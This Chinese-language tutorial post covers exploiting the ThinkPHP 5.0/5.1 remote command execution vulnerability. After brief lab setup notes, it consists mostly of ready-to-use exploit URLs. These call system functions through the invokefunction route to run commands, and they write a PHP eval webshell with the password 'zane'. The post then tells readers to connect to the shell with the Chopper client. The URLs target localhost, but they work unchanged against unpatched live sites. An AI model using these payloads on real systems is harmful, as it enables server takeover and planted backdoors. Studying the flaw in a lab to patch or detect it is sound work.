下面由thinkphp/" target="_blank">thinkphp框架教程栏目给大家介绍thinkphp 漏洞利用,希望对需要的朋友有所帮助!
thinkphp_5x_命令执行漏洞
受影响版本包括5.0和5.1版本
docker漏洞环境源码:
https://github.com/vulnspy/thinkphp-5.1.29
本地环境搭建:
thinkphp5.0.15+php5.6n+ apache2.0
http://www.thinkphp.cn/donate/download/id/1125.html
EXP
http://127.0.0.1/middleware/thinkphp_5.0.15_full/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
立即学习“PHP免费学习笔记(深入)”;
EXP:
http://127.0.0.1/middleware/thinkphp_5.0.15_full/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/middleware/thinkphp_5.0.15_full/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST["zane"])?^>>shell.php 或者 http://127.0.0.1/middleware/thinkphp_5.0.15_full/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=FUCK<?php @eval($_POST["zane"])?>
使用菜刀连接
`
http://127.0.0.1/middleware/thinkphp_5.0.15_full/public/shell.php 密码为zane
http://127.0.0.1/middleware/thinkphp_5.0.15_full/test.php 密码为zane
`